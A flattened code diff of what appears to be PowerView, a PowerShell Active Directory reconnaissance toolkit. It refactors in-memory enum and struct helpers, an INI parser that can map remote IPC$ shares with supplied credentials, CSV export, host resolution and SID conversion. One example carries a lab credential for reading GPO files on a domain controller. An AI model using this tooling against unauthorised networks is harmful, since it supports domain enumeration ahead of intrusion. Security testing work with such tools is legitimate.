PowerShell session. +Creates an in-memory enumeration for use in your PowerShell session. - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - - .DESCRIPTION +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None - The 'psenum' function facilitates the creation of enums entirely in - memory using as close to a "C style" as PowerShell will allow. +.DESCRIPTION - .PARAMETER Module +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. - The in-memory module that will host the enum. Use - New-InMemoryModule to define an in-memory module. +.PARAMETER Module - .PARAMETER FullName +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. - The fully-qualified name of the enum. +.PARAMETER FullName - .PARAMETER Type +The fully-qualified name of the enum. - The type of each enum element. +.PARAMETER Type - .PARAMETER EnumElements +The type of each enum element. - A hashtable of enum elements. +.PARAMETER EnumElements - .PARAMETER Bitfield +A hashtable of enum elements. - Specifies that the enum should be treated as a bitfield. +.PARAMETER Bitfield - .EXAMPLE +Specifies that the enum should be treated as a bitfield. - $Mod = New-InMemoryModule -ModuleName Win32 +.EXAMPLE - $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 - } +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} - .NOTES +.NOTES - PowerShell purists may disagree with the naming of this function but - again, this was developed in such a way so as to emulate a "C style" - definition as closely as possible. Sorry, I'm not going to name it - New-Enum. :P +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P #> [OutputType([Type])] - Param - ( - [Parameter(Position = 0, Mandatory = $True)] + Param ( + [Parameter(Position = 0, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [Type] $Type, - [Parameter(Position = 3, Mandatory = $True)] + [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $EnumElements, @@ -446,10 +466,10 @@ function psenum $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } - ForEach ($Key in $EnumElements.Keys) + foreach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element - $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() @@ -458,15 +478,13 @@ function psenum # A helper function used to reduce typing while defining struct # fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] [UInt16] $Position, - [Parameter(Position = 1, Mandatory = $True)] + [Parameter(Position = 1, Mandatory=$True)] [Type] $Type, @@ -490,111 +508,110 @@ function field function struct { <# - .SYNOPSIS +.SYNOPSIS - Creates an in-memory struct for use in your PowerShell session. +Creates an in-memory struct for use in your PowerShell session. - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: field +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field - .DESCRIPTION +.DESCRIPTION - The 'struct' function facilitates the creation of structs entirely in - memory using as close to a "C style" as PowerShell will allow. Struct - fields are specified using a hashtable where each field of the struct - is comprosed of the order in which it should be defined, its .NET - type, and optionally, its offset and special marshaling attributes. +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. - One of the features of 'struct' is that after your struct is defined, - it will come with a built-in GetSize method as well as an explicit - converter so that you can easily cast an IntPtr to the struct without - relying upon calling SizeOf and/or PtrToStructure in the Marshal - class. +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. - .PARAMETER Module +.PARAMETER Module - The in-memory module that will host the struct. Use - New-InMemoryModule to define an in-memory module. +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. - .PARAMETER FullName +.PARAMETER FullName - The fully-qualified name of the struct. +The fully-qualified name of the struct. - .PARAMETER StructFields +.PARAMETER StructFields - A hashtable of fields. Use the 'field' helper function to ease - defining each field. +A hashtable of fields. Use the 'field' helper function to ease +defining each field. - .PARAMETER PackingSize +.PARAMETER PackingSize - Specifies the memory alignment of fields. +Specifies the memory alignment of fields. - .PARAMETER ExplicitLayout +.PARAMETER ExplicitLayout - Indicates that an explicit offset for each field will be specified. +Indicates that an explicit offset for each field will be specified. - .EXAMPLE +.EXAMPLE - $Mod = New-InMemoryModule -ModuleName Win32 +$Mod = New-InMemoryModule -ModuleName Win32 - $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C - } +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} - $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 - } +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} - # Example of using an explicit layout in order to create a union. - $TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 - } -ExplicitLayout +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout - .NOTES +.NOTES - PowerShell purists may disagree with the naming of this function but - again, this was developed in such a way so as to emulate a "C style" - definition as closely as possible. Sorry, I'm not going to name it - New-Struct. :P +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P #> [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] + Param ( + [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, - [Parameter(Position = 2, Mandatory = $True)] + [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, - [Parameter(Position = 3, Mandatory = $True)] + [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, @@ -635,13 +652,13 @@ function struct # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. - ForEach ($Field in $StructFields.Keys) + foreach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } - ForEach ($Field in $Fields) + foreach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] @@ -714,4749 +731,8310 @@ function struct # ######################################################## -filter Get-IniContent { +function Get-IniContent { <# - .SYNOPSIS +.SYNOPSIS - This helper parses an .ini file into a proper PowerShell object. - - Author: 'The Scripting Guys' - Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +This helper parses an .ini file into a hashtable. - .LINK +Author: 'The Scripting Guys' +Modifications: @harmj0y (-Credential support) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection - https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ -#> - [CmdletBinding()] - Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] - [Alias('FullName')] - [ValidateScript({ Test-Path -Path $_ })] - [String[]] - $Path - ) +.DESCRIPTION - ForEach($TargetPath in $Path) { - $IniObject = @{} - Switch -Regex -File $TargetPath { - "^\[(.+)\]" # Section - { - $Section = $matches[1].Trim() - $IniObject[$Section] = @{} - $CommentCount = 0 - } - "^(;.*)$" # Comment - { - $Value = $matches[1].Trim() - $CommentCount = $CommentCount + 1 - $Name = 'Comment' + $CommentCount - $IniObject[$Section][$Name] = $Value - } - "(.+?)\s*=(.*)" # Key - { - $Name, $Value = $matches[1..2] - $Name = $Name.Trim() - $Values = $Value.split(',') | ForEach-Object {$_.Trim()} - if($Values -isnot [System.Array]) {$Values = @($Values)} - $IniObject[$Section][$Name] = $Values - } - } - $IniObject - } -} +Parses an .ini file into a hashtable. If -Credential is supplied, +then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file +is parsed, and then the connection is destroyed with Remove-RemoteConnection. -filter Export-PowerViewCSV { -<# - .SYNOPSIS +.PARAMETER Path - This helper exports an -InputObject to a .csv in a thread-safe manner - using a mutex. This is so the various multi-threaded functions in - PowerView has a thread-safe way to export output to the same file. - - Based partially on Dmitry Sotnikov's Export-CSV code - at http://poshcode.org/1590 +Specifies the path to the .ini file to parse. - .LINK +.PARAMETER Credential - http://poshcode.org/1590 - http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ -#> - Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] - [System.Management.Automation.PSObject[]] - $InputObject, +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. - [Parameter(Mandatory=$True, Position=0)] - [String] - [ValidateNotNullOrEmpty()] - $OutFile - ) +.EXAMPLE - $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation +Get-IniContent C:\Windows\example.ini - # mutex so threaded code doesn't stomp on the output file - $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; - $Null = $Mutex.WaitOne() +.EXAMPLE - if (Test-Path -Path $OutFile) { - # hack to skip the first line of output if the file already exists - $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - else { - $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } +"C:\Windows\example.ini" | Get-IniContent - $Mutex.ReleaseMutex() -} +.EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred -filter Get-IPAddress { -<# - .SYNOPSIS +.INPUTS + +String - Resolves a given hostename to its associated IPv4 address. - If no hostname is provided, it defaults to returning - the IP address of the localhost. +Accepts one or more .ini paths on the pipeline. - .EXAMPLE +.OUTPUTS - PS C:\> Get-IPAddress -ComputerName SERVER - - Return the IPv4 address of 'SERVER' +Hashtable - .EXAMPLE +Ouputs a hashtable representing the parsed .ini file. - PS C:\> Get-Content .\hostnames.txt | Get-IPAddress +.LINK - Get the IP addresses of all hostnames in an input file. +https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] [CmdletBinding()] - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [Alias('HostName')] - [String] - $ComputerName = $Env:ComputerName + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('FullName', 'Name')] + [ValidateNotNullOrEmpty()] + [String[]] + $Path, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - try { - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField + BEGIN { + $MappedComputers = @{} + } - # get the IP resolution of this specified hostname - @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { - if ($_.AddressFamily -eq 'InterNetwork') { - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ComputerName' $Computer - $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString - $Out + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + if (Test-Path -Path $TargetPath) { + $IniObject = @{} + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + $IniObject[$Section] = @{} + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + $IniObject[$Section][$Name] = $Value + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object { $_.Trim() } + if ($Values -isnot [System.Array]) { $Values = @($Values) } + $IniObject[$Section][$Name] = $Values + } + } + $IniObject } } } - catch { - Write-Verbose -Message 'Could not resolve host to an IP Address.' + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection } } -filter Convert-NameToSid { +function Export-PowerViewCSV { <# - .SYNOPSIS +.SYNOPSIS - Converts a given user/group name to a security identifier (SID). +Converts objects into a series of comma-separated (CSV) strings and saves the +strings in a CSV file in a thread-safe manner. - .PARAMETER ObjectName +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - The user/group name to convert, can be 'user' or 'DOMAIN\user' format. +.DESCRIPTION - .PARAMETER Domain +This helper exports an -InputObject to a .csv in a thread-safe manner +using a mutex. This is so the various multi-threaded functions in +PowerView has a thread-safe way to export output to the same file. +Uses .NET IO.FileStream/IO.StreamWriter objects for speed. - Specific domain for the given user account, defaults to the current domain. +Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 - .EXAMPLE +.PARAMETER InputObject - PS C:\> Convert-NameToSid 'DEV\dfm' -#> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - [Alias('Name')] - $ObjectName, +Specifies the objects to export as CSV strings. - [String] - $Domain - ) +.PARAMETER Path - $ObjectName = $ObjectName -Replace "/","\" - - if($ObjectName.Contains("\")) { - # if we get a DOMAIN\user format, auto convert it - $Domain = $ObjectName.Split("\")[0] - $ObjectName = $ObjectName.Split("\")[1] - } - elseif(-not $Domain) { - $Domain = (Get-NetDomain).Name - } +Specifies the path to the CSV output file. - try { - $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) - $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value - - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ObjectName' $ObjectName - $Out | Add-Member Noteproperty 'SID' $SID - $Out - } - catch { - Write-Verbose "Invalid object/name: $Domain\$ObjectName" - $Null - } -} +.PARAMETER Delimiter +Specifies a delimiter to separate the property values. The default is a comma (,) -filter Convert-SidToName { -<# - .SYNOPSIS - - Converts a security identifier (SID) to a group/user name. +.PARAMETER Append + +Indicates that this cmdlet adds the CSV output to the end of the specified file. +Without this parameter, Export-PowerViewCSV replaces the file contents without warning. + +.EXAMPLE + +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" + +.EXAMPLE - .PARAMETER SID - - The SID to convert. +Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' - .EXAMPLE +.INPUTS - PS C:\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105 +PSObject + +Accepts one or more PSObjects on the pipeline. + +.LINK + +http://poshcode.org/1590 +http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [System.Management.Automation.PSObject[]] + $InputObject, + + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] [String] - [ValidatePattern('^S-1-.*')] - $SID + $Path, + + [Parameter(Position = 2)] + [ValidateNotNullOrEmpty()] + [Char] + $Delimiter = ',', + + [Switch] + $Append ) - try { - $SID2 = $SID.trim('*') - - # try to resolve any built-in SIDs first - # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) { - 'S-1-0' { 'Null Authority' } - 'S-1-0-0' { 'Nobody' } - 'S-1-1' { 'World Authority' } - 'S-1-1-0' { 'Everyone' } - 'S-1-2' { 'Local Authority' } - 'S-1-2-0' { 'Local' } - 'S-1-2-1' { 'Console Logon ' } - 'S-1-3' { 'Creator Authority' } - 'S-1-3-0' { 'Creator Owner' } - 'S-1-3-1' { 'Creator Group' } - 'S-1-3-2' { 'Creator Owner Server' } - 'S-1-3-3' { 'Creator Group Server' } - 'S-1-3-4' { 'Owner Rights' } - 'S-1-4' { 'Non-unique Authority' } - 'S-1-5' { 'NT Authority' } - 'S-1-5-1' { 'Dialup' } - 'S-1-5-2' { 'Network' } - 'S-1-5-3' { 'Batch' } - 'S-1-5-4' { 'Interactive' } - 'S-1-5-6' { 'Service' } - 'S-1-5-7' { 'Anonymous' } - 'S-1-5-8' { 'Proxy' } - 'S-1-5-9' { 'Enterprise Domain Controllers' } - 'S-1-5-10' { 'Principal Self' } - 'S-1-5-11' { 'Authenticated Users' } - 'S-1-5-12' { 'Restricted Code' } - 'S-1-5-13' { 'Terminal Server Users' } - 'S-1-5-14' { 'Remote Interactive Logon' } - 'S-1-5-15' { 'This Organization ' } - 'S-1-5-17' { 'This Organization ' } - 'S-1-5-18' { 'Local System' } - 'S-1-5-19' { 'NT Authority' } - 'S-1-5-20' { 'NT Authority' } - 'S-1-5-80-0' { 'All Services ' } - 'S-1-5-32-544' { 'BUILTIN\Administrators' } - 'S-1-5-32-545' { 'BUILTIN\Users' } - 'S-1-5-32-546' { 'BUILTIN\Guests' } - 'S-1-5-32-547' { 'BUILTIN\Power Users' } - 'S-1-5-32-548' { 'BUILTIN\Account Operators' } - 'S-1-5-32-549' { 'BUILTIN\Server Operators' } - 'S-1-5-32-550' { 'BUILTIN\Print Operators' } - 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } - 'S-1-5-32-552' { 'BUILTIN\Replicators' } - 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } - 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } - 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } - 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } - 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } - 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } - 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } - 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } - 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } - 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } - 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } - 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } - 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } - 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } - 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } - 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } - 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } - 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } - Default { - $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) - $Obj.Translate( [System.Security.Principal.NTAccount]).Value + BEGIN { + $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) + $Exists = [System.IO.File]::Exists($OutputPath) + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' + $Null = $Mutex.WaitOne() + + if ($PSBoundParameters['Append']) { + $FileMode = [System.IO.FileMode]::Append + } + else { + $FileMode = [System.IO.FileMode]::Create + $Exists = $False + } + + $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) + $CSVWriter.AutoFlush = $True + } + + PROCESS { + ForEach ($Entry in $InputObject) { + $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation + + if (-not $Exists) { + # output the object field names as well + $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } + $Exists = $True + } + else { + # only output object field data + $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } } } } - catch { - Write-Verbose "Invalid SID: $SID" - $SID + + END { + $Mutex.ReleaseMutex() + $CSVWriter.Dispose() + $CSVStream.Dispose() } } -filter Convert-ADName { +function Resolve-IPAddress { <# - .SYNOPSIS +.SYNOPSIS - Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) - to canonical format (domain.com/Users/user) or NT4. +Resolves a given hostename to its associated IPv4 address. - Based on Bill Stewart's code from this article: - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None - .PARAMETER ObjectName +.DESCRIPTION - The user/group name to convert. +Resolves a given hostename to its associated IPv4 address using +[Net.Dns]::GetHostEntry(). If no hostname is provided, the default +is the IP address of the localhost. - .PARAMETER InputType +.EXAMPLE - The InputType of the user/group name ("NT4","Simple","Canonical"). +Resolve-IPAddress -ComputerName SERVER - .PARAMETER OutputType +.EXAMPLE - The OutputType of the user/group name ("NT4","Simple","Canonical"). +@("SERVER1", "SERVER2") | Resolve-IPAddress - .EXAMPLE +.INPUTS - PS C:\> Convert-ADName -ObjectName "dev\dfm" - - Returns "dev.testlab.local/Users/Dave" +String - .EXAMPLE +Accepts one or more IP address strings on the pipeline. - PS C:\> Convert-SidToName "S-..." | Convert-ADName - - Returns the canonical name for the resolved SID. +.OUTPUTS - .LINK +System.Management.Automation.PSCustomObject - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +A custom PSObject with the ComputerName and IPAddress. #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - $ObjectName, - - [String] - [ValidateSet("NT4","Simple","Canonical")] - $InputType, - [String] - [ValidateSet("NT4","Simple","Canonical")] - $OutputType + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME ) - $NameTypes = @{ - 'Canonical' = 2 - 'NT4' = 3 - 'Simple' = 5 + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out + } + } + } + catch { + Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." + } + } } +} - if(-not $PSBoundParameters['InputType']) { - if( ($ObjectName.split('/')).Count -eq 2 ) { - $ObjectName = $ObjectName.replace('/', '\') - } - if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") { - $InputType = 'NT4' - } - elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { - $InputType = 'Simple' - } - elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { - $InputType = 'Canonical' - } - else { - Write-Warning "Can not identify InType for $ObjectName" - return $ObjectName - } - } - elseif($InputType -eq 'NT4') { - $ObjectName = $ObjectName.replace('/', '\') - } +function ConvertTo-SID { +<# +.SYNOPSIS - if(-not $PSBoundParameters['OutputType']) { - $OutputType = Switch($InputType) { - 'NT4' {'Canonical'} - 'Simple' {'NT4'} - 'Canonical' {'NT4'} - } - } +Converts a given user/group name to a security identifier (SID). - # try to extract the domain from the given format - $Domain = Switch($InputType) { - 'NT4' { $ObjectName.split("\")[0] } - 'Simple' { $ObjectName.split("@")[1] } - 'Canonical' { $ObjectName.split("/")[0] } - } +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { - $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) - if ( $Output ) { $Output } - } - function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { - [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) - } +.DESCRIPTION - $Translate = New-Object -ComObject NameTranslate +Converts a "DOMAIN\username" syntax to a security identifier (SID) +using System.Security.Principal.NTAccount's translate function. If alternate +credentials are supplied, then Get-ADObject is used to try to map the name +to a security identifier. - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Verbose "Error with translate init in Convert-ADName: $_" - } +.PARAMETER ObjectName - Set-Property $Translate "ChaseReferral" (0x60) +The user/group name to convert, can be 'user' or 'DOMAIN\user' format. - try { - Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) - (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" - } -} +.PARAMETER Domain +Specifies the domain to use for the translation, defaults to the current domain. -function ConvertFrom-UACValue { -<# - .SYNOPSIS +.PARAMETER Server - Converts a UAC int value to human readable form. +Specifies an Active Directory server (domain controller) to bind to for the translation. - .PARAMETER Value +.PARAMETER Credential - The int UAC value to convert. +Specifies an alternate credential to use for the translation. - .PARAMETER ShowAll +.EXAMPLE - Show all UAC values, with a + indicating the value is currently set. +ConvertTo-SID 'DEV\dfm' - .EXAMPLE +.EXAMPLE - PS C:\> ConvertFrom-UACValue 